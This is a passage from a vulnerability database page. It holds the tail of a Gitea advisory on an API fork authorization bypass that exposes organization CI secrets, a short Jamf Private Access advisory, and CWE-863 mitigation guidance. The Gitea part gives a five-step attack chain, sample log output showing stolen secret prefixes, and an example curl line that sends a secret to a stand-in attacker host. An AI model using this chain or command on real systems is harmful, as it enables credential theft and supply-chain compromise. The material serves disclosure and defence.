seconds)\nsleep 90\n\n# Check the Actions run page in browser or via API:\necho \"View results at: http://localhost:3000/target-org/evil-fork/actions\"\n```\n\nExpected output in the workflow logs:\n```\n=== SECRET EXFILTRATION ===\nDEPLOY_KEY length: 37\nAWS_ACCESS_KEY length: 20\nAWS_SECRET_KEY length: 40\nDEPLOY_KEY prefix: sk-l...\nAWS_ACCESS_KEY prefix: AKIA...\nAWS_SECRET_KEY prefix: wJal...\n=== END EXFILTRATION ===\n```\n\nAll three organization-level secrets are accessible to the attacker\u0027s workflow. In a real attack, the workflow would exfiltrate secrets to an attacker-controlled endpoint (e.g., `curl -d \"$SECRET\" https://attacker.example.com/collect`).\n\n## Impact\n\nA read-only organization member \u2014 with no repository creation rights (`can_create_org_repo=false`) \u2014 can exfiltrate all organization-level CI/CD secrets by exploiting a missing authorization check in the API fork endpoint. The web UI correctly enforces the `CanCreateOrgRepo` permission, but the API does not, creating a classic API-vs-web authorization inconsistency.\n\nThe attack chain is: (1) fork an existing org repo back into the same org via the API, bypassing the `CanCreateOrgRepo` check; (2) receive admin permissions on the fork as its creator; (3) enable Actions and push a workflow that references org secrets; (4) the org\u0027s runner picks up the job (runners match on `repository.owner_id`), and org secrets are injected into the workflow environment (fetched by `Repo.OwnerID`); (5) the workflow exfiltrates all org secrets.\n\nOrganization secrets commonly include deploy keys, cloud credentials (AWS IAM keys, GCP service accounts), container registry tokens, and personal access tokens with broad scope. Stolen credentials enable lateral movement to cloud infrastructure, private repositories, and external services far beyond the Gitea instance itself. The attacker can also push arbitrary code under the organization\u0027s trusted namespace, creating supply chain risk for downstream consumers.\n\nThis is particularly dangerous because organizations commonly use read-only teams for auditors, reviewers, contractors, or new employees \u2014 precisely the users who should NOT have access to production secrets.\n\n\n## Supporting Material/References\n\n * **poc-fork-authz-bypass.zip** \u2014 ZIP archive containing the full exploit script and README\n * Vulnerable code \u2014 API fork handler (missing `CanCreateOrgRepo` check):\n https://github.com/go-gitea/gitea/blob/79f96b3e24/routers/api/v1/repo/fork.go#L135-L144\n * Correct code \u2014 Web fork handler (has `CanCreateOrgRepo` check):\n https://github.com/go-gitea/gitea/blob/79f96b3e24/routers/web/repo/fork.go#L181-L189\n * Runner task assignment (matches on `owner_id`):\n https://github.com/go-gitea/gitea/blob/79f96b3e24/models/actions/task.go#L245-L248\n * Secret injection (fetches by `Repo.OwnerID`):\n https://github.com/go-gitea/gitea/blob/79f96b3e24/models/secret/secret.go#L167\n * Fork creator gets admin permissions:\n https://github.com/go-gitea/gitea/blob/79f96b3e24/services/repository/create.go#L433-L440\n * Related fix: PR #34031 fixed a similar bypass via repo transfers, confirming this class of authorization inconsistency is treated as a vulnerability\n * OWASP API Security Top 10 2023: API5 \u2014 Broken Function Level Authorization\n * OWASP Top 10 2021: A01 \u2014 Broken Access Control\n\n\n[poc-fork-authz-bypass.zip](https://github.com/user-attachments/files/26129318/poc-fork-authz-bypass.zip)",
"id": "GHSA-fhx7-m96w-mv29",
"modified": "2026-06-17T18:08:00Z",
"published": "2026-06-17T18:08:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-fhx7-m96w-mv29"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Gitea: API Fork Missing CanCreateOrgRepo Check Allows Org Secret Exfiltration"
}
GHSA-FJ66-G7XW-9G27
Vulnerability from github – Published: 2022-06-08 00:00 – Updated: 2022-06-15 00:00Jamf Private Access before 2022-05-16 has Incorrect Access Control, in which an unauthorized user can reach a system in the internal infrastructure, aka WND-44801.
{
"affected": [],
"aliases": [
"CVE-2022-29564"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-06-07T14:15:00Z",
"severity": "HIGH"
},
"details": "Jamf Private Access before 2022-05-16 has Incorrect Access Control, in which an unauthorized user can reach a system in the internal infrastructure, aka WND-44801.",
"id": "GHSA-fj66-g7xw-9g27",
"modified": "2022-06-15T00:00:24Z",
"published": "2022-06-08T00:00:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29564"
},
{
"type": "WEB",
"url": "https://github.com/wandera/public-disclosures/blob/master/CVE-2022-29564.md"
},
{
"type": "WEB",
"url": "https://jamf.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
No CAPEC attack patterns related to this CWE.